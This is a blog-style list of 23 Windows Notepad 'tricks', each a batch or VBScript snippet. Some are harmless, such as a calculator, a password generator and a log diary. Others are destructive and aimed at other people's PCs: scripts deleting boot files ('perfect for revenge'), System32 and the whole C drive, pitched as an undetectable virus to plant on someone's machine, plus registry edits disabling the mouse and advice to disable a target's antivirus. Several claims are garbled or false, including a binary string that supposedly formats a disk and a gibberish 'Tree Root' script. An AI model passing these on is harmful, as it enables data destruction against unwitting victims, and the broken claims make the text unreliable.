Notepad is one of the oldest yet still useful utility tools we receive with windows. Notepad is just a plain-text editor that allows us to save notes and texts in the .txt format. But, that’s not the only thing you can do with it. With Notepad you can create scripts and run codes and do things you would not guess a notepad can do. In this article. We will tell you about 23 different Notepad tricks and commands which you didn’t know about.
Continue reading the article to know about different working notepad commands. Some of these commands are helpful while others are just to prank someone. Who doesn’t like pranking their friends once in a while? We know it’s fun. So let’s get started and see some of the best Notepad tricks and commands.
23 Best Cool Notepad Tricks
1. The Matrix Effect using your Notepad
Remember that neon green digits vertically moving in the movie ‘The Matrix’? Yeah, how can someone forget that? Anyways, with this Notepad Trick, I am about to tell you, you will be able to create the same matrix effect on your screen just with your notepad. Just type this code into a notepad and save the file as ‘Matrix.bat’ and save it. Remember the name can be anything but it should have .bat as an extension or else it won’t run. This is one of the coolest notepad tricks in this list.
@echo off
color 02
:tricks
echo %random%%random%%random%%random%%random%%random%%random%%random%
goto tricks
After saving the file as .bat you can run this code. Just double click on the .bat file to open it and you will see random fast green color digits on your command prompt screen. Easy and cool, right?
2. Make text appears slowly on your screen
With this notepad trick, you can make texts appear slowly on to your screen. This will feel like typing slowly but, it is just the code that makes the texts appear slow. Just copy the following code on your notepad and save the file with any name but it should have a .vbs extension.
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject (“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate Notepad“”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
After saving the file, just open and run it by double-clicking on the file. You can change the text between “ “ into whatever you like.
3. Make your computer speak texts
Like Google Translate, you can use your notepad to say something as well by just typing. Using this trick, you can type in your notepad whatever and make your computer speak it.
But why use it when we can just use google translator? Because we can. You can use this to turn text into audio easily. Copy the following shortcode and enter it in your notepad and save the file with any name you want but with the .vbs file format. It’s one of the useful notepad tricks, that can help you to read the text without internet connectivity.
Dim Message, Speak
Message=InputBox(“Enter text”,”Speak”)
Set Speak=CreateObject(“sapi.spvoice”)
Speak.Speak Message
After copying the code, save the file and run it. You will see a screen with a box where you can type in. You can type here and the computer will speak that same text. In the first attempt, it may take some time but don’t worry you will hear the voice after a few seconds.
4. Check whether your antivirus is working or not – Useful Notepad Trick
This is a helpful trick if you are concerned about your PC’s security. Notepad can also help check whether your antivirus is protecting you or not.
Use this simple code to find out.
X5O!P%@AP[4PZX54(P^) 7CC)7}$EICAR-STANDARD- ANTIVIRUS-TEST-FILE!$H+H*
In this case, you have to save the file in .exe format. After saving, run the exe file. If your antivirus detects this file, then the antivirus is working fine. Don’t worry if you have doubts about your antivirus, this file won’t cause your computer any harm.
5. See how you can format Hard Disk Using Just Notepad
This is a risky one. Using this notepad hack, you can format the entire hard disk just with some lines of code, Don’t use this unless you are ready to lose all data in the hard disk. Copy the following code and save it as a .exe file,
01100110011011110111001001101101011000010111010000 100000011000110011101001011100 0010000000101111010100010010111101011000
Running this file will format the hard disk.
6. Delete Startup Files Using Notepad
This is another notepad command where you should be careful while using it. With this command, you can delete all startup files from a PC. This can be very risky and harmful for the computer and may render it useless which makes it perfect for revenge and others such purposes [you know what I mean]. Copy this code and save it using notepad with the .bat file extension.
@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI
Well, you are advised to not use this code. But if you still do the PC will shut down and won’t open.
7. Delete System32 Files Using Notepad
Using this notepad trick, you can delete system32 files which in case you do not know is one of the worst things that you can do to a PC. It is not advisable to run this code. But for the sake of information, here it is:
DEL C:\WINDOWS\SYSTEM32\*.*/Q
Shortcode but yet deadly. Just type this in your notepad and save this file as .bat format and run it to delete system32 files from PC.
8. Disable Mouse Controls Using Notepad
Now let’s get back to some less harmful notepad hacks. Let us see how we can disable mouse controls just by typing this code into notepad and running it.rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
Save the file with the .bat extension and run it to disable the PC’s mouse. This is a nice way to prank your friends and get them panicked and worried and later surprise them.
9. Print Tree Root using notepad
With this trick, you can print Tree Root by typing this code in your notepad and saving it as “teekids.vbs”. For this trick to work, you cannot use any other name except teekids.
{print tree root}
C:windowssystem
{print C:windowssystemwinlog
4*43″$@[455] 3hr4~
After saving the file, run it and you will see the Tree Root. Don’t worry if you are not able to stop this script from running. Just go to your task manager [ALT + CTRL + DEL] and search for Wscript and stop that running process.
10. Shut down your computer using notepad – (Useful Notepad Tricks)
Tired of shutting down your computer the old way? Now, you can shut down your computer using this notepad trick. Double-clicking a file to shut down your PC? Yep, that’s quick!
Copy and paste the following code into your notepad
@echo off
msg * System will now shut down
shutdown -c “Bye!” –s
Save this file with a .vbs extension and run it, This will show you the message that the system will not shut down and then your PC will go off. That’s it and now you have an easy shortcut to shutdown your computer.
11. Generate random passwords using notepad
Google suggests you a random password when you are creating a new account somewhere but why you use that when you can create your password generator using just a notepad.
@echo off
:Start2
cls
goto Start
:Start
title Password Generator
echo I will make you a new password.
echo Please write the password down somewhere in case you forget it.
echo —————————————-¬———————–
echo 1) 1 Random Password
echo 2) 5 Random Passwords
echo 3) 10 Random Passwords
echo Input your choice
set input=
set /p input= Choice:
if %input%==1 goto A if NOT goto Start2
if %input%==2 goto B if NOT goto Start2
if %input%==3 goto C if NOT goto Start2
:A
cls
echo Your password is %random%
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2
:Exit
exit
:B
cls
echo Your 5 passwords are %random%, %random%, %random%, %random%, %random%.
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2
:C
cls
echo Your 10 Passwords are %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%, %random%
echo Now choose what you want to do.
echo 1) Go back to the beginning
echo 2) Exit
set input=
set /p input= Choice:
if %input%==1 goto Start2 if NOT goto Start 2
if %input%==2 goto Exit if NOT goto Start 2
Copy this code in your notepad and save it as a .bat file. Open the .bat file and the random password generator is now ready for use.
12. Make a simple undetectable virus using Notepad
Want to make a computer virus but have no idea how to do it? All you need is a notepad to create a simple undetectable virus.
@Echo off
Del C:\ *.* |y
Just save this file with a .bat extension and you have got yourself a virus. Put this into someone’s PC and out of curiosity they might open it and BAM! All files in their C drive will start getting deleted. Easy and scary
13. Notepad command to make a batch file virus
With this trick, you can prank and scare your friends by thinking their PC has a virus. If a PC has an antivirus installed, then the virus file will get detected and declared as a trojan. So, you have to disable any antivirus before the target runs the virus.
cls
:A
color 0a
cls
@echo off
echo Wscript.Sleep
echo Wscript.Sleep 5000>C:sleep5000.vbs
echo Wscript.Sleep 3000>C:sleep3000.vbs
echo Wscript.Sleep 4000>C:sleep4000.vbs
echo Wscript.Sleep 2000>C:sleep2000.vbs
cd %systemroot%System32
dir
cls
start /w wscript.exe C:sleep3000.vbs
echo Deleting Critical System Files…
echo del *.*
start /w wscript.exe C:sleep3000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Deleting Root Partition…
start /w wscript.exe C:sleep2000.vbs
echo del %SYSTEMROOT%
start /w wscript.exe C:sleep4000.vbs
echo Deletion Successful!
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo:
echo Creating Directory h4x…
cd C:Documents and SettingsAll Users
Start MenuPrograms mkdir h4x
start /w wscript.exe C:sleep3000.vbs
echo Directory Creation Successful!
echo:
echo:
echo:
echo Execution Attempt 1…
start /w wscript.exe C:sleep3000.vbs
echo cd C:Documents and SettingsAll Users
Start MenuProgramsStartuph4x
echo start hax.exe
start /w wscript.exe C:sleep3000.vbs
echo Virus Executed!
echo:
echo:
echo:
start /w wscript.exe C:sleep2000.vbs
echo Disabling Windows Firewall…
start /w wscript.exe C:sleep2000.vbs
echo Killing all processes… start /w wscript.exe C:sleep2000.vbs
echo Allowing virus to boot from startup…
start /w wscript.exe C:sleep2000.vbs
echo:
echo:
echo Virus has been executed successfully!
start /w wscript.exe C:sleep2000.vbs echo:
echo Have fun!
start /w wscript.exe C:sleep2000.vbs
pause
shutdown -s -t 10 -c “Your computer has died. I am sorry!”
This is one of the most dangerous notepad hacks and can completely ruin someone’s PC. So, don’t try this on your PC unless you are prepared to lose all files and everything else in it.
14. Make a Password-protected Folder using Notepad
With this notepad trick, you can create password-protected folders easily with just some lines of code. Paste these codes in your notepad and save the file with any name of your choice with .bat extension.
@ECHO OFF
title Folder Private
if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the folder(Y/N)
set/p “cho=>”
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
echo Folder locked
goto End
:UNLOCK
echo Enter password to unlock folder
set/p “pass=>”
if NOT %pass%== yourpassword goto FAIL
attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Private
echo Private created successfully
goto End
:End
15. Make a text appear in a loop on your screen with Notepad
With this notepad command, you can make any text appear repeatedly on a loop. Copy this code and save it as a .vbs file.
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “This text will repeat itself”
loop
Click on the file to run this script. This script is helpful if you have to copy one sentence many times. Using this, you can automate the whole process.
In the end, we have mentioned fixes for all errors and problems you may run into.
16. Make notepad open in a loop using this notepad trick
This is a funny prank you can pull on your friends. Just paste this code on their PC’s notepad and watch them struggling to close all notepad screens popping.
@ECHO OFF
:TOP
START %SYSTEMROOT%\SYSTEM32\NOTEPAD.EXE
GOTO TOP
This file should be saved with a .bat extension.
17. Pop-out CD drive continuously using Notepad
Use this easy notepad command to make the CD drive pop-out continuously. This may harm the CD drive so be careful while using it and don’t let it run for a long time.
Copy-paste this code in a notepad and save it with a .vbs extension.
Set oWMP = CreateObject(“WMPlayer.OCX.7?)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Now all you have to do is run the file to make the CD Drive pop-out continuously.
18. Annoy someone by hitting backspace continuously using Notepad
Imagine somebody trying to do their work and typing something on their computer and backspace hitting continuously? This will irritate anyone. This notepad trick lets you do that. Copy the following code in a notepad and save the file in a .vbs format.
MsgBox “Backspace again and again and AGAIN”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
19. Create a personal diary using Notepad
Like taking notes or creating logs about your everyday life? With this notepad trick, you can make a personal diary that stores your text with a timestamp automatically making it a virtual personal diary on your PC.
Copy and paste this code in a notepad and save the file with the .txt extension.
.LOG
It is just a few letters but still gets the job done. Now, whenever you want to create a log or note just open this file and you will see a date and timestamp. This is helpful if you want to keep track of when you took a note or did something.
20. Toggle CapsLock in a loop using Notepad
Want to annoy your friend by turning their caps lock on and off repeatedly? Then. this is one of the Notepad tricks you must try.
Copy the following code and paste it into notepad.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Save this code as a .vbs file. Running this file with toggle capslock repeatedly. WiTh ThIs, YoU CAn MakE SenTeNCE LikE ThiS HaHa.
21. Make your keyboard’s LED dance using Notepad
This is a cool trick you can show to your friends or do just for fun. Copy-paste this code in a notepad and save the file with a .vbs extension.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
wshshell.sendkeys “{NUMLOCK}”
wshshell.sendkeys “{SCROLLLOCK}”
loop
What does script does is that it toggles your caps lock, num lock, and scroll lock to make it look like that LED is dancing? Play some music and maybe enjoy your LED lights dancing?
22. Make a calculator using Notepad
Did you know you can make a simple calculator using just one of the simple notepad tricks? It is pretty easy to do. You have calculators in your phones and PC still you can see how this works.
@echo off
Title OnlineCmag-Calculator
:start
Echo Press 1 for Addition
echo Press 2 for Subtraction
echo Press 3 for Multiplication
echo Press 4 for Division
echo Press 5 to Quit
set /p type=
if %type%==1 goto a
if %type%==2 goto b
if %type%==3 goto c
if %type%==4 goto d
if %type%==5 goto e
:a
echo Addition
echo Type The 2 Numbers To Add
set /p num1=
set /p num2=
echo %num1%+%num2%?
pause
set /a Answer=%num1%+%num2%
echo %Answer%
pause
goto start
:b
echo Subtraction
echo Type The 2 Numbers To Substract
set /p num1=
set /p num2=
echo %num1%-%num2%?
pause
set /a Answer=%num1%-%num2%
echo %Answer%
pause
goto start
:c
echo Multiplication
echo Type The 2 Numbers To Multiply
set /p num1=
set /p num2=
echo %num1%*%num2%?
pause
set /a Answer=%num1%*%num2%
echo %Answer%
pause
goto start
:d
echo Division
echo Type The 2 Numbers To Divide
set /p num1=
set /p num2=
echo %num1%/%num2%?
pause
set /a Answer=%num1%/%num2%
echo %Answer%
pause
goto start
:e
echo. Done!
Save this long code in a .bat file format with an “ANSI” Encoding. Run the file to use the simple calculator you made.
23. World Trade Center Attack
This is an interesting trick on this list which you can show to your friends or try and see yourself. According to rumors, if you type in the flight number of the airplane which hit the twin towers, “Q33N” in the notepad, and then switch the font to 72, you will see something weird and creepy.
Try it yourself and find out.
How to fix errors while running the notepad file?
If you are facing errors while using any of these notepad tricks, try the following fixes:
- Make sure you have copied the code exactly the same as it is here in this post.
- Remove any “ braces in the code and then enter them again. Some issues happen if you copy-paste code
- While saving the scripts try changing the encoding to “ASNI”.
- Most notepad tricks work in all versions of windows, but if it’s still not working on your windows. Then, that particular code only works on some old windows.
- The last step which may work sometimes is to restart your PC
Final Words
You probably had no idea that you could do so many things just from your notepad. Windows is full of surprises like that. Try these Notepad tricks and commands and let us know if they worked for you or not.